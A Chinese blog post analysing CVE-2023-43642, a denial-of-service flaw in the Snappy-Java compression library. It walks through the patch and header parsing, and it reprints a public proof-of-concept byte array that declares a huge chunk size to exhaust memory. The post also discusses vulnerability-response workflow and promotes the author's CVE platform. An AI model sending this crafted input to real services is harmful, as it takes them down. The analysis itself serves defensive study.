最近和某个大佬聊天的时候,大佬问我”锦旭你分析过的最近的一个漏洞是什么?”。
这个问题让我不禁一愣,在腾讯天天虽然和漏洞打交道,但涉及到具体的漏洞分析和POC撰写,一半完都会交给同事去做,我一般会更关注流程和体系的建设(当然不忙的时候也还是会自己分析一下漏洞啦)。
回想了一下,最新的一个漏洞应该还是在2022年一个minio的权限提升的漏洞,漏洞曝光的时候刚好不忙,对着补丁,搭建了一个本地的minio的单机环境,并写了一个分析文章和漏洞的POC。
考虑到minio的漏洞着实有点久远(而且分析文章也留在腾讯内网了),于是我便想着,趁着休病假在家,找个新的漏洞做一个Re-Search吧!
但是在开始之前,让我先向你介绍一下aigcve.com吧!
AIGCVE.COM
我在前段时间开发了一个基于专家经验和一些人工智能的漏洞平台:https://aigcve.com/。
平台可以自动收集CVE漏洞,并使用人工智能的技术自动预测漏洞的风险等级和对应的漏洞类别。以及一些人工的专家标签,例如下面截图中的有开源补丁供审计。
好,就是你了 CVE-2023-43642。
漏洞信息
漏洞ID | CVE-2023-43642 |
漏洞标题 | Snappy-Java 拒绝服务漏洞 |
风险等级 | 高危 (CVSS分数:7.5分) |
影响组件 | Snappy-Java |
公开日期 | 09/25/2023 |
影响范围 | 广泛 |
组件介绍
Snappy-Java 是一个被广泛使用的开源Java组件,根据Maven提供的数据,Snappy Java为第二流行的压缩库,同时被一些知名组件诸如Hadoop、Spark、Kafka等使用。
漏洞分析
官方补丁包地址:https://github.com/xerial/snappy-java/commit/9f8c3cf74223ed0a8a834134be9c917b9f10ceb5,看到这里已经基本有感觉了,猜测是可控的BLOCK_SIZE导致分配过多的内存,然后系统挂掉(拒绝服务效果)。
果然如此,要么要触发这个漏洞,就需要构造一个可控的压缩包,并在对应的标志位设置一个很大的chunkSize。追进代码,chunk_size设置在
...
int chunkSize = SnappyOutputStream.readInt(header, 0);
...
继续追进代码,是一个协议解码的函数,查阅了一下资料,这个snappy的流模式用的是byte-oriented,也就是字节序的,4个字节代表一个整数。
static int readInt(byte[] buffer, int pos)
{
int b1 = (buffer[pos] & 0xFF) << 24;
int b2 = (buffer[pos + 1] & 0xFF) << 16;
int b3 = (buffer[pos + 2] & 0xFF) << 8;
int b4 = buffer[pos + 3] & 0xFF;
return b1 | b2 | b3 | b4;
}
人脑运算这个协议不是个好主意,从测试用例中扣出来一个通信协议:
{-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00};
-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, -这是协议头MAGIC-HEADER,无需理会
0, 0, 0, 0, 0, 0, 0, 0, 往后数8位为保留字符(猜测,未见实际使用)
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00; 这段为传递给readInt的实际内容,从这里读取chunk_size.
测试一下,构造一个较大的值
import java.util.HexFormat;
public class main {
static int readInt(byte[] buffer, int pos) {
int b1 = (buffer[pos] & 0xFF) << 24;
int b2 = (buffer[pos + 1] & 0xFF) << 16;
int b3 = (buffer[pos + 2] & 0xFF) << 8;
int b4 = buffer[pos + 3] & 0xFF;
return b1 | b2 | b3 | b4;
}
static void writeInt(byte[] dst, int offset, int v) {
dst[offset] = (byte) ((v >> 24) & 0xFF);
dst[offset + 1] = (byte) ((v >> 16) & 0xFF);
dst[offset + 2] = (byte) ((v >> 8) & 0xFF);
dst[offset + 3] = (byte) ((v >> 0) & 0xFF);
}
public static void main(String[] args) {
byte[] data = {(byte) 0x7f, (byte) 0xff, (byte) 0xff, (byte) 0xff};
System.out.println(readInt(data, 0));
// 输出 2147483647
}
}
可以看到,这里在协议头里声明,接下来一个chunk的量为2PB,接下来申请一个2PB的空间。自然也就造成DOS了。
惊讶的发现,在仓库的Advisories一栏里,已经公开了POC链接,验证了我的思路,通过构造一个很大的chunk_size,让服务crash掉,公开的POC如下。
package org.example;
import org.xerial.snappy.SnappyInputStream;
import java.io.*;
public class Main {
public static void main(String[] args) throws IOException {
byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0x7f, (byte) 0xff, (byte) 0xff, (byte) 0xff};
SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data));
byte[] out = new byte[50];
try {
in.read(out);
}
catch (Exception ignored) {
}
}
}
在实际的场景中,漏洞利用起来会更复杂一些,利用的难点是如何找到可控的数据流,将恶意数据传递到Snappy组件中,这个则需要结合业务流程来分析,这篇文章就点到为止吧 ^_^
另外,上述提到的是一个安全乙方公司的应急响应流程,一般分这么几步
- 监控漏洞的发生
- 研究漏洞原理,搭建漏洞环境,写POC
- 推动纵深防御体系进行检测和防护能力的升级,如防火墙、WAF、终端产品、EDR等
- 发公众号PR文章
甲方公司则面临多一步的思考:这个漏洞将怎么影响我们的业务呢?
这个成本就很高了,现实场景里也基本没人做。如果要做的话,可以从供应链安全的角度来思考。
- 公司是否引用了这个存在漏洞的Library?
- 有没有调用受影响的方法?
- 输入是否为攻击者可控的数据?
- 这个漏洞被攻击者实际利用的概率有多高?
乙方安全产品一般只对1负责,2&3则需要公司自己的安全团队结合业务来评估,最后得出4,通过4来决定公司来投入多少资源对这个漏洞进行处理。
“这个漏洞被攻击者实际利用的概率有多高?” – 这个我也无法准确回答,但是根据经验,攻击者喜欢用高危漏洞实现一击致命,例如RCE漏洞、弱口令漏洞、未授权访问等。Snippy-Java 一般被各种大数据组件依赖,攻击者要想利用这个漏洞,路径会非常曲折,成本会非常高。从这个角度看,这个漏洞被攻击者实际利用的概率并不高。
所以,安心过周末啦~